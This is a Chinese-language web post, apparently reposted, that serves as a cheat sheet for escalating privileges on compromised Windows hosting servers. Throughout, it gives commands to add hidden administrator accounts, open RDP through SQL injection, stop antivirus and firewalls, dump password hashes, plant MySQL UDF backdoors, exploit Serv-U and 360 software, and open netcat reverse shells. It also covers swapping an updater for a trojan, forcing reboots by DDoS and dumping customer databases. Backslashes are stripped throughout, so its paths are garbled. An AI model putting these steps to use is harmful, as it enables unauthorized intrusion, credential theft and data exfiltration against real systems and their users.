当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
【 web提权 】
dos命令大全
SQL语句直接开启3389
常见杀软
windows提权中敏感目录和敏感注册表的利用
提权中的敏感注册表位置
wscript.shell的删除和恢复
如何找到准确的终端连接端口/p>
本地溢出提权
sa提权
root提权
serv-u提权
端口转发
nc反弹提权
星外提权
ee提权法
vbs提权法
360提权
搜狗提权
华众虚拟主机提权
N点虚拟主机
拖库
服务器
从 上看到一篇很棒的文章，里面有些问题，在我前几天面试的时候也问到过，很细。我再转发过来，自己从新再整理一下，详细内容如下。
【 web提权 】
1. 能不能执行cmd就看这个命令：
net user，net不行就用net1，再不行就上传一个net到可写可读目录，执行/c c:windowstempcookiesnet1.exe user
2. 当提权成功，3389没开的情况下，上传开3389的vps没成功时，试试上传rootkit.asp 用刚提权的用户登录进去就是system权限，再试试一般就可以了。
3. cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的，cmd.exe/cmd.com/cmd.txt 都可以。
4. cmd命令：systeminfo，看看有没有KB952004、KB956572、KB970483这三个补丁，如果没有，第一个是pr提权，第二个是巴西烤肉提权，第三个是iis6.0提权。
6. c:windowstempcookies 这个目录
7. 找sa密码或是root密码，直接利用大马的文件搜索功能直接搜索，超方便！
8. cmd执行exp没回显的解决方法：
com路径那里输入exp路径C:RECYCLERpr.exe，命令那里清空(包括/c )输入”net user jianmei daxia /add”
9. 增加用户并提升为管理员权限之后，如果连接不上3389，上传rootkit.asp脚本，访问会提示登录，用提权成功的账 密码登录进去就可以拥有管理员权限了。
10.有时变态监控不让添加用户，可以尝试抓管理哈希值，上传“PwDump7 破解当前管理密码(hash值)”，俩个都上传，执行PwDump7.exe就可以了，之后到 站去解密即可。
11.有时增加不上用户，有可能是密码过于简单或是过于复杂，还有就是杀软的拦截，命令 tasklist 查看进程
12.其实星外提权只要一个可执行的文件即可，先运行一遍cmd，之后把星外ee.exe命名为log.csv 就可以执行了。
13.用wt.asp扫出来的目录，其中红色的文件可以替换成exp，执行命令时cmd那里输入替换的文件路径，下面清空双引 加增加用户的命令。
14.提权很无奈的时候，可以试试TV远控，通杀内外 ，穿透防火墙，很强大的。
15.当可读可写目录存在空格的时候，会出现这样的情况：’C:Documents’ 不是内部或外部命令，也不是可运行的程序 或批处理文件。解决办法是利用菜刀的交互shell切换到exp路径，如：Cd C:Documents and SettingsAll UsersApplication DataMicrosoft 目录
然后再执行exp或者cmd，就不会存在上面的情况了，aspshell一般是无法跳转目录的～
16. 有时候可以添加用户，但是添加不到管理组，有可能是administrators改名了，net user administrator 看下本地组成员，*administrators
17. 进入服务器，可以继续内 渗透 这个时候可以尝试打开路由器 默认帐 密码 admin admin
18. 有的cmd执行很变态，asp马里，cmd路径填上面，下面填：””c:xxxexp.exe “whoami” 记得前面加两个双引 ，不行后面也两个，不行就把exp的路径放在cmd那里，下面不变。
19. 一般增加不上用户，或是想添加增加用户的vbs,bat,远控小马到服务器的启动项里，用“直接使服务器蓝屏重启的东东”这个工具可以实现，
20. 执行PwDump7.exe抓哈希值的时候，建议重定向结果到保存为1.txt /c c:windowstempcookiesPwDump7.exe >1.txt
21. 菜刀执行的技巧，上传cmd到可执行目录，右击cmd 虚拟终端，help 然后setp c:windowstempcmd.exe 设置终端路径为：c:windowstempcmd.exe
22. 当不支持aspx，或是支持但跨不了目录的时候，可以上传一个读iis的vps，执行命令列出所有 站目录，找到主站的目录就可以跨过去了。
上传cscript.exe到可执行目录，接着上传iispwd.vbs到 站根目录，cmd命令/c “c:windowstempcookiescscript.exe” d:webiispwd.vbs
23. 如何辨别服务器是不是内 192.168.x.x 172.16.x.x 10.x.x.x
dos命令大全
| 命令 | 命令意思 |
| ver | 查看版本 |
| whoami | 查看权限 |
| systeminfo | 查看配置 |
| net user | 查看用户 |
| tasklist | 查看进程 |
| tasklist /svc | 查看正在运行的服务 |
| query user | 查询管理用户名 |
| ftp 127.0.0.1 | 查看搭建环境 |
| sc qc Mysql | 查看指定服务的路径 |
| net user jianmei daxia.asd /add | 添加一个用户 |
| net localgroup administrators jianmei /add | 提升到管理权限 |
| net user jianmei daxia.asd /add & net localgroup administrators jianmei /add | 添加用户并提升权限 |
| net user jianmei | 查看制定用户信息 |
| net localgroup administrators | 查看所有管理权限的用户 |
| net localgroup “Remote Desktop Users” jianmei /add | 加入远程桌面用户组 |
| mstsc /admin /v:127.0.0.1 | 突破最大连接数 |
| net user jianmei /del | 删除用户 |
| net user administrator daxia.asd | 删除管理员账户 |
| net password daxia.asd | 更改系统登陆密码 |
| net user guest /active:yes | 激活GUEST用户 |
| net start telnet | 开启TELNET服务 |
| net stop “McAfee McShield” | 关闭麦咖啡 |
| net stop sharedaccess | 关闭防火墙 |
| dir c:windows | 查看当前目录的所有文件 |
| type c:windows1.asp | 查看制定文件的内容 |
| …. | ….. |
把cmd.exe复制到c:windows的temp目录下并命名为cmd.txt：copy c:windowstempcookiescmd.exe c:windowstempcmd.txt
开3389端口的命令：
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
查看补丁：
dir c:windows>a.txt&(for %i in (KB952004.log KB956572.log KB2393802.log KB2503665.log KB2592799.log KB2621440.log KB2160329.log KB970483.log KB2124261.log KB977165.log KB958644.log) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt
SQL语句直接开启3389
3389登陆关键注册表位置：
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerDenyTSConnections
其中键值DenyTSConnections 直接控制着3389的开启和关闭，当该键值为0表示3389开启，1则表示关闭。
而MSSQL的xp_regwrite的存储过程可以对注册进行修改，我们使用这点就可以简单的修改DenyTSConnections键值，从而控制3389的关闭和开启。
开启3389的SQL语句：
syue.com/xiaohua.aspd=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–
关闭3389的SQL语句：
syue.com/xiaohua.aspd=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;–
常见杀软
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
McAfee McShield.exe 麦咖啡
SafeDogUpdateCenter.exe 服务器安全狗
windows提权中敏感目录和敏感注册表的利用
敏感目录 目录权限 提权用途
| 敏感目录 | 目录权限 | 提权用途 |
| C:Program Files | 默认用户组users对该目录拥有查看权 | 可以查看服务器安装的应用软件 |
| C:Documents and SettingsAll Users「开始」菜单程序 Everyone | 拥有查看权限 存放快捷方式 | 可以下载文件，属性查看安装路径 |
| C:Documents and SettingsAll UsersDocuments Everyone | 完全控制权限 | 上传执行cmd及exp |
| C:windowssystem32inetsrv Everyone | 完全控制权限 | 上传执行cmd及exp |
| C:windowsmy.iniC:Program FilesMySQLMySQL Server 5.0my.ini | 默认用户组users拥有查看权限 | 安装mysql时会将root密码写入该文件 |
| C:windowssystem32 | 默认用户组users拥有查看权限Shift后门一般是在该文件夹 | 可以下载后门破解密码 |
| C:Documents and SettingsAll Users「开始」菜单程序启动 Everyone | 拥有查看权限 | 可以尝试向该目录写入vbs或bat，服务器重启后运行 |
| C:RECYCLERD:RECYCLER Everyone | 完全控制权限 回收站目录 | 常用于执行cmd及exp |
| C:Program FilesMicrosoft SQL Server | 默认用户组users对该目录拥有查看权限 | 收集mssql相关信息，有时候该目录也存在可执行权限 |
| C:Program FilesMySQL | 默认用户组users对该目录拥有查看权限 | 找到MYSQL目录中user.MYD里的root密码 |
| C:oraclexe | 默认用户组users对该目录拥有查看权限 | 可以尝试利用Oracle的默认账户提权 |
| C:WINDOWSsystem32config | 默认用户组users对该目录拥有查看权限 | 尝试下载sam文件进行破解提权 |
| C:Program FilesGeme6 FTP ServerRemote AdminRemote.ini | 默认用户组users对该目录拥有查看权限 | Remote.ini文件中存放着G6FTP的密码 |
| c:Program FilesRhinoSoft.comServ-Uc:Program FilesServ-U | 默认用户组users对该目录拥有查看权限 | ServUDaemon.ini 中存储了虚拟主机 站路径和密码 |
| c:windowssystem32inetsrvMetaBase.xml | 默认用户组users对该目录拥有查看权限 | IIS配置文件 |
| C:tomcat5.0confresin.conf | 默认用户组users对该目录拥有查看权限 | Tomat存放密码的位置 |
| C:ZKEYSSetup.ini | 默认用户组users对该目录拥有查看权限 | ZKEYS虚拟主机存放密码的位置 |
提权中的敏感注册表位置
| 注册表位置 | 某某 |
| HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerMSSQLServerSuperSocketNetLibTcp | Mssql端口 |
| HKLMSYSTEMCurrentControlSetControlTerminal Server DenyTSConnections | 远程终端 值为0 即为开启 |
| HKEY_LOCAL_MACHINESOFTWAREMySQL AB | mssql的注册表位置 |
| HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG | 华众主机注册表配置位置 |
| HKEY_LOCAL_MACHINESOFTWARECat SoftServ-UDomains1UserList | serv-u的用户及密码（su加密）位置 |
| HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer WinStationsRDP-Tcp | 在该注册表位置PortNumber的值即位3389端口值 |
| HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers | mysql管理工具Navicat的注册表位置，提权运用请谷歌 |
| HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters | Radmin的配置文件，提权中常将其导出进行进行覆盖提权 |
| HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual Roots | IIS注册表全版本泄漏用户路径和FTP用户名漏洞 |
| HKEY_LOCAL_MACHINEsoftwarehzhostconfigSettingsmastersvrpass | 华众主机在注册表中保存的mssql、mysql等密码 |
| HKEY_LOCAL_MACHINESYSTEMLIWEIWENSOFTINSTALLFREEADMIN11 | 星外主机mssql的sa账 密码，双MD5加密 |
| HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual RootsControlSet002 | 星外ftp的注册表位置，当然也包括ControlSet001、ControlSet003 |
wscript.shell的删除和恢复
卸载wscript.shell对象，在cmd下或直接运行：regsvr32 /u %windir%system32WSHom.Ocx
卸载FSO对象，在cmd下或直接运行：regsvr32.exe /u %windir%system32scrrun.dll
卸载stream对象，在cmd下或直接运行：regsvr32 /s /u “C:ProgramFilesCommonFilesSystemadomsado15.dll”
如果想恢复的话只需要去掉/U 即可重新再注册以上相关ASP组件，这样子就可以用了
如何找到准确的终端连接端口/strong>
在aspx大马里，点击“系统信息”第三个就是目前的3389端口
或是执行命令查看正在运行的服务：tasklist /svc
找到：svchost.exe 1688 TermService
记住1688这个ID值，
查看开放的所有端口：netstat -ano
找到1688这个ID值所对应的端口就是3389目前的端口
(( iis6提权提示Can not find wmiprvse.exe的突破方法 ))
突破方法一：
在IIS环境下，如果权限做得不严格，我们在aspx大马里面是有权限直接结束wmiprvse.exe进程的，进程查看里面直接K掉
在结束之后，它会再次运行，这时候的PID值的不一样的。这时候我们回来去运行exp，直接秒杀。
突破方法二：
虚拟主机，一般权限严格限制的，是没权限结束的，这时候我们可以考虑配合其他溢出工具让服务器强制重启，比如“直接使服务器蓝屏重启的东东”
甚至可以暴力点，DDOS秒杀之，管理发现服务器不通了首先肯定是以为服务器死机，等他重启下服务器（哪怕是IIS重启下）同样秒杀之。
本地溢出提权
计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出了.
缓存区溢出漏洞主要是由于许多软件没有对缓存区检查而造成的.
利用一些现成的造成溢出漏洞的exploit通过运行,把用户从users组或其它系统用户中提升到administrators组.
想要执行cmd命令，就要wscript.shell组建支持，或是支持aspx脚本也行，因为aspx脚本能调用.net组件来执行cmd的命令.
sa提权
扫描开放的端口，1433开了就可以找sa密码提权，用大马里的搜索文件功能，sa密码一般在conn.asp config.asp web.config 这三个文件
也可以通过注册表找配置文件，看下支持aspx不，支持的话跨目录到别的站点上找，找到之后用aspshell自带的sql提权登录再执行命令创建用户即可。
aspx马提权执行命令有点不一样，点击数据库管理–选MSSQL–server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB–输入帐 密码连接即可
增加一个用户：exec master.dbo.xp_cmdshell ‘net user jianmei daxia.asd /add’;–
提升为管理员：exec master.dbo.xp_cmdshell ‘net localgroup administrators jianmei /add’;–
PS:如果增加不上，说明是xp_cmdshell组建没有，增加xp_cmdshell组建：Use master dbcc addextendedproc(‘xp_cmdshell’,’xplog70.dll’)
root提权
利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,是默认安装以系统权限继承的(system权限). 并且获得了root的账 密码
如何判断一台windows服务器上的mysql有没有降权/strong>
cmd命令net user 如果存在 mysql mssql这样用户或者类似的.通常就是它的mssql mysql服务已经被降权运行了
如何判断服务器上是否开启了mysql服务/strong>
开了3306端口，有的管理员会把默认端口改掉.另一个判断方法就是 站是否支持php,一般支持的话都是用mysql数据库的.
如何查看root密码/strong>
在mysql的安装目录下找到user.myd这个文件，root就藏在里面，一般是40位cmd加密，一些php 站安装的时候用的是root用户,在conn.asp config.asp这些文件里。
有时会显得很乱，这时就需要自己去组合，前17位在第一行可以找到，还有23位在第三行或是其他行，自己继续找。
可以直接用php脚本里“mysql执行”，或是上传个UDF.php，如果 站不支持PHP，可以去旁一个php的站，也可以把UDF.php上传到别的phpshell上也可以。
填入帐 密码之后，自然就是安装DLL了，点击“自动安装Mysql BackDoor” 显示导出跟创建函数成功后，紧接着执行增加用户的命令即可。
注意：5.0版本以下(包括5.0的)默认c:windows系统目录就可以了，5.1版本以上的不能导出到系统目录下创建自定义函数，只能导出在mysql安装目录下的lib/plugin目录中
例如：D:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/mysql.dll
如果密码看不见，或是组合不到40位，就本地安装一个mysql吧
1、停止mysql服务
2、替换下载下来的3个文件（user.MYI user.MYD user.frm）
3、cmd切换到bin目录下，进入mysql安全模式，cmd命令：mysqld-nt –skip-grant-tables
4、重新打开一个cmd 切换到bin目录下，cmd命令：mysql -u root 版本不同有可能是：mysql -uroot -proot
5、最后查询一下就出来了select user,password from mysql.user;
serv-u提权
这个文件里包含serv-u的md5密码：C:Program FilesRhinoSoft.comServ-U\ServUDaemon.ini
找到这个文件：ServUDaemon.ini 打开找到：LocalSetupPassword=nqFCE64E0056362E8FCAF813094EC39BC2
再拿md5密文去解密，再用现在的密码登陆提权即可。
serv-u提权的前提是43958端口开了，且知道帐 密码！
如果帐 密码默认，直接用shell里面的serv-u提权功能即可搞定，建议用aspx马、php马去提权，因为可以看回显。
530说明密碼不是默认的,回显330说明成功，900说明密码是默认的……………..
在程序里找个快捷方式，或是相关的文件进行下载到本地，再查看文件的属性，就可以找到serv-u的安装目录了。
目录有修改权限之serv-u提权：
找到serv-u的目录，再找到用户的配置文件ServUDaemon.ini，直接增加一个用户代码，保存！
接着本地cmd命令：ftp 服务器ip
回车，输入帐 密码再回车………………….
接着先试试普通的cmd命令提权，不行的话就使用ftp提权的命令：
Quote site exec net user jianmei daxia /add 增加一个用户
Quote site exec net localgroup administrators jianmei /add 提升到管理员权限
200 EXEC command successful (TID=33). 执行成功的回显信息
Maintenance=System 权限类型多加一行指定新加帐 为系统管理员
ReloadSettings=True 在修改ini文件后需加入此项，这时serv-u会自动刷新配置文件并生效
端口转发
什么情况下适合转发端口/strong>
1.服务器是内 ，我们无法连接。
2.服务器上有防火墙，阻断我们的连接。
转发端口的前提，我们是外 或是有外 服务器。
找个可读可写目录上传lcx.exe
本地cmd命令：lcx.exe -listen 1988 4567 （监听本地1988端口并转发到4567端口）
接着shell命令：/c c:windowstempcookieslcx.exe -slave 本机ip 1988 服务器ip 3389 （把服务器3389端口转发到本地4567端口）
之后本地连接：127.0.0.1:4567 (如果不想加上:4567的话，本地执行命令的时候，把4567换成3389来执行就行了)
以上是本机外 情况下操作，接着说下在外 服务器里如何操作：
上传lxc.exe cmd.exe到服务器且同一目录，执行cmd.exe命令：lcx.exe -listen 1988 4567
接着在aspxshell里点击端口映射，远程ip改为站点的ip，远端口程填1988，点击映射端口，接着在服务器里连接127.0.0.1:4567就可以了。
nc反弹提权
当可以执行net user，但是不能建立用户时，就可以用NC反弹提权试下，特别是内 服务器，最好用NC反弹提权。
不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口，那么这种方法也失效了….
找个可读可写目录上传nc.exe cmd.exe
-l 监听本地入栈信息
-p port打开本地端口
-t 以telnet形式应答入栈请求
-e 程序重定向
本地cmd执行：nc -vv -l -p 52 进行反弹
接着在shell里执行命令：c:windowstempnc.exe -vv 服务器ip 999 -e c:windowstempcmd.exe 最好是80或8080这样的端口，被防火墙拦截的几率小很多
执行成功后本地cmd命令：cd/ （只是习惯而已）
接着以telnet命令连接服务器：telnet 服务器ip 999
回车出现已选定服务器的ip就说明成功了，接着权限比较大了，尝试建立用户！
坏蛋：
本地cmd执行：nc -vv -l -p 52 进行反弹
c:windowstempnc.exe -e c:windowstempcmd.exe 服务器ip 52
低调小飞：
shell执行命令c:windowstempnc.exe -l -p 110 -t -e c:windowstempcmd.exe
一般这样的格式执行成功率很小，不如直接在cmd那里输入：c:windowstempnc.exe 命令这里输入：-vv 服务器ip 999 -e c:windowstempcmd.exe
这个技巧成功率比上面那个大多了，不单单是nc可以这样，pr这些提权exp也是可以的。
星外提权
如何知道是不是星外主机/strong>
第一： 站物理路径存在“freehost”
第二：asp马里点击程序，存在“7i24虚拟主机管理平台”“星外主机”之类的文件夹
默认帐 ：freehostrunat
默认密码：fa41328538d7be36e83ae91a78a1b16f!7
freehostrunat这个用户是安装星外时自动建立的，已属于administrators管理组，而且密码不需要解密，直接登录服务器即可
星外常写目录：
C:RECYCLER
C:windowstemp
e:recycler
f:recycler
C:phpPEAR
C:WINDOWS7i24.comFreeHost
C:phpdev
C:System Volume Information
C:7i24.comserverdoctorlog
C:WINDOWSTemp
c:windowshchiblis.ibl
C:7i24.comiissafelog
C:7i24.comLinkGatelog
C:Program FilesThunder NetworkThunder7
C:Program FilesThunder NetworkThunder
C:Program FilesSymantec AntiVirusSAVRT
c:windowsDriverPacksCAM2
C:Program FilesFlashFXP
c:Program FilesMicrosoft SQL Server90SharedErrorDumps
C:Program FilesZendZendOptimizer-3.3.0
C:Program FilesCommon Files
c:Documents and SettingsAll UsersApplication DataHagel TechnologiesDU Meterlog.csv
c:Program Files360360SafedeepscanSectionmutex.db
c:Program FilesHeliconISAPI_Rewrite3error.log
c:Program FilesHeliconISAPI_Rewrite3Rewrite.log
c:Program FilesHeliconISAPI_Rewrite3httpd.conf
c:Program FilesCommon FilesSymantec SharedPersist.bak
c:Program FilesCommon FilesSymantec SharedValidate.dat
c:Program FilesCommon FilesSymantec SharedValidate.dat
C:Program FilesZendZendOptimizer-3.3.0docs
C:Documents and SettingsAll UsersDRM
C:Documents and SettingsAll UsersApplication DataMcAfeeDesktopProtection
C:Documents and SettingsAll UsersApplication Data360safesoftmgr
C:Program FilesZendZendOptimizer-3.3.0libOptimizer-3.3.0php-5.2.xZendOptimizer.dll
C:Documents and SettingsAll UsersApplication DataMicrosoftMedia Index
ee提权法
找个可读可写目录上传ee.exe
cmd命令：/c c:windowstempcookiesee.exe -i （获取星外帐 的id值，例如回显：FreeHost ID：724）
接着命令：/c c:windowstempcookiesee.exe -u 724 （获取星外的帐 密码）
vbs提权法
找个可读可写目录上传cscript.exe iispwd.vbs
cmd命令：/c “c:windowstempcookiescscript.exe” c:windowstempcookiesiispwd.vbs
意思是读取iis，这样一来，不但可以获取星外的帐 密码，还可以看到同服务器上的所有站点的目录。
可行思路大全：
经测试以下目录中的文件权限均为everyone，可以修改，可以上传同文件名替换，删除，最重要的是还可以执行：
360杀毒db文件替换:
c:Program Files360360SDdeepscanSectionmutex.db
c:Program Files360360SafedeepscanSectionmutex.db
C:Program Files360360SafeAntiSectionmutex.db
IISrewrite3 文件替换：
C:Program FilesHeliconISAPI_Rewrite3Rewrite.log
C:Program FilesHeliconISAPI_Rewrite3httpd.conf
C:Program FilesHeliconISAPI_Rewrite3error.log
诺顿杀毒文件替换:
c:Program FilesCommon FilesSymantec SharedPersist.bak
c:Program FilesCommon FilesSymantec SharedValidate.dat
c:Program FilesCommon FilesSymantec SharedPersist.Dat
一流过滤相关目录及文件：
C:7i24.comiissafelogstartandiischeck.txt
C:7i24.comiissafelogscanlog.htm
其他:
Zend文件替换：C:Program FilesZendZendOptimizer-3.3.0libOptimizer-3.3.0php-5.2.xZendOptimizer.dll
华盾文件替换：C:WINDOWShchiblis.ibl
Flash文件替换：C:WINDOWSsystem32MacromedFlashFlash10q.ocx
DU Meter流量统计信息日志文件替换：c:Documents and SettingsAll UsersApplication DataHagel TechnologiesDU Meterlog.csv
360提权
找个可读可写目录上传360.exe
cmd命令：/c c:windowstempcookies360.exe
会提示3段英文：
360 Antivirus Privilege Escalation Exploit By friddy 2010.2.2
You will get a Shift5 door!
Shift5 Backdoor created!
这是成功的征兆，接着连接服务器连按5下shift键，将弹出任务管理器，点击新建任务：explorer.exe 会出现桌面，接下来大家都会弄了……
搜狗提权
搜狗的目录默认是可读可写的，搜狗每隔一段时间就会自动升级，而升级的文件是pinyinup.exe
我们只要把这个文件替换为自己的远控木马，或是添加账户的批处理，等搜狗升级的时候，就可以达成我们的目的了。
华众虚拟主机提权
就经验来说，一般溢出提权对虚拟主机是无果的，而且华众又没有星外那么明显的漏洞。
所以华众提权关键之处就是搜集信息，主要注册表位置：
HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettingsmysqlpass root密码
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettingsmssqlpss sa 密码
c:windowstemp 下有hzhost主机留下的ftp登陆记录有用户名和密码
以上信息配合hzhosts华众虚拟主机系统6.x 破解数据库密码工具使用
百度搜索：hzhosts华众虚拟主机系统6.x 破解数据库密码工具
N点虚拟主机
N点虚拟主机管理系统默认数据库地址为：host_date#host # date#.mdb
rl直接输入不行 这里咱们替换下 #=%23 空格=%20
修改后的下载地址为/host_date/%23host%20%23%20date%23196.mdb
N点数据库下载之后找到sitehost表 FTPuser&FTPpass 值 FTPpass是N点加密数据然后用N点解密工具解密得到FTP密码
N点默认安装路径C:Program FilesNpointSoftnpointhostweb
D:Program FilesNpointSoftnpointhostweb
默认权限可读。遇到对方所用虚拟主机是N点时候 可以考虑 读取该文件夹下载数据库
N点解密工具代码
<%> set iishost=server.CreateObject(“npoint.host”)
x=iishost.Eduserpassword(“FTPpass值”,0)
response.write x
%>
本地搭建N点环境在N点目录打开访问即可。得到密码减去后10位字符即为 N点的虚拟主机管理密码。
然后需要在管理系统登陆确认下 在hostcs 表 找到 Hostip 或者hostdomain
一般默认是 Hostip=127.0.0.1 hostdomain=www.npointhost.com 这里可以不管 因为 这里不修改的话就是服务器默认ip地址sitehost 表的host_domain就是绑定的域名 直接查下IP地址即可 咱们批量的话 扫描的地址即可。
管理系统地址即为IP地址 选择虚拟主机 登录即可
接下来传shell大家应该都会了。
接下来说提权 hostcs表存有sa root账户的密码 解密方法一样。默认都是 解密结果123456
还有就是在adminlogo 存在N点系统管理密码 30位的cfs加密可以在http://www.md5.com.cn/cfs 碰撞下试试 或者用asm的工具破解下我的运气不好没成功过
3057C0DB854C878E72756088058775 这个是默认admin的密码
拖库
access数据库脱裤很简单，直接下载数据库即可，mssql数据库可以用shell自带的脱裤功能，也可以用asp脱裤脚本，找到数据库连接信息的文件，例如：web.config.asp
用帐 密码登录asp脱裤脚本，找到管理表，再找到会员库（UserInfo），之后导出即可，mysql数据库一般用php脚本，找 站数据连接信息：
‘host’ => ‘localhost:3306’, 数据库ip
‘user’ => ‘iwebs’, 用户
‘passwd’ => ‘nnY5bvRNnJ4vKpmb’, 密码
‘name’ => ‘iwebshop’, 数据库名
接着上传php脱裤脚本，进入拖库界面之后，左边有一个选择数据库名的选项，这里是iwebshop，选择数据库名之后，就会出现列表，想脱哪个就点击哪个，然后点击select data
Import是导入的意思，而Export是导出的意思，我们在拖库，当然是选择Export了，之后选择save，再点击Export就开始脱裤了。
如果服务器上安装了phpmysql，也可以找到该页面，用刚找到的root账 密码登录进去，在里面也是可以拖库的，如同上传php拖库脚本一样，操作差不多的。
服务器
命令提示符已被系统管理员停用/strong>
解决方法：运行→gpedit.msc→用户配置→管理模板→系统，在右侧找到”阻止命令提示符”, 然后双击一下,在”设置”里面选中”未配置” ,最后点击”确定”。
如何判断服务器的类型/strong>
解决方法：直接ping服务器ip，看回显信息进行判断
TTL=32 9X/ME
TTL=64 linux
TTL=128 2000X/XP
TTL=255 UNIX
为什么有时3389开放却不能连接/strong>
原因分析：有时候是因为防火墙，把3389转发到其他端口就可以连接了，有的转发后依然是连接不上，那是因为管理员在TCP/IP里设置的端口限制
解决方法：我们需要把端口转为TCP/IP里设置的只允许连接的端口其中一个就可以了，更好的办法是取消端口限制。
最简单的往服务器上传东西方法是什么/strong>
本机打开“HFS 络文件服务器”这款工具，把需要上传的工具直接拖进左边第一个框内，复制上面的地址，到服务器里的浏览器
声明：本站部分文章及图片源自用户投稿，如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢！